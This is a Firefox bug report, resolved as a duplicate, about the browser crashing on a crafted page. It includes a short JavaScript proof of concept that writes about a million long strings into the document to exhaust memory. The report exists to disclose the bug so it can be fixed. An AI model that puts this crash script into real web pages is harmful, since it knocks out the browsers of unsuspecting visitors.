607737 - Firefox crashes instantly when a html page with malicious javascript is launched

Status: RESOLVED DUPLICATE of bug 609358

(Firefox :: Security, defect)

Description

[Gaurav Gulati]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11

Firefox crashes instantly when a html page having a malicious javascript is launched. The test file is attached.

Reproducible: Always

Steps to Reproduce:
1. Create an html page having the following javascript:

<script type="text/javascript">
var i;
var a=new Array(999999);
for (i=0;i<=999999;i++)
{
a[i]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
}
for (i=0;i<=999999;i++)
{
document.write (a[i]);
}
</script>

2. Launch this html in Firefox
Actual Results:  
The Browser crashes.

Expected Results:  
The browser should not crash.

Comment 1

[Gaurav Gulati]

Attachment: script used for testing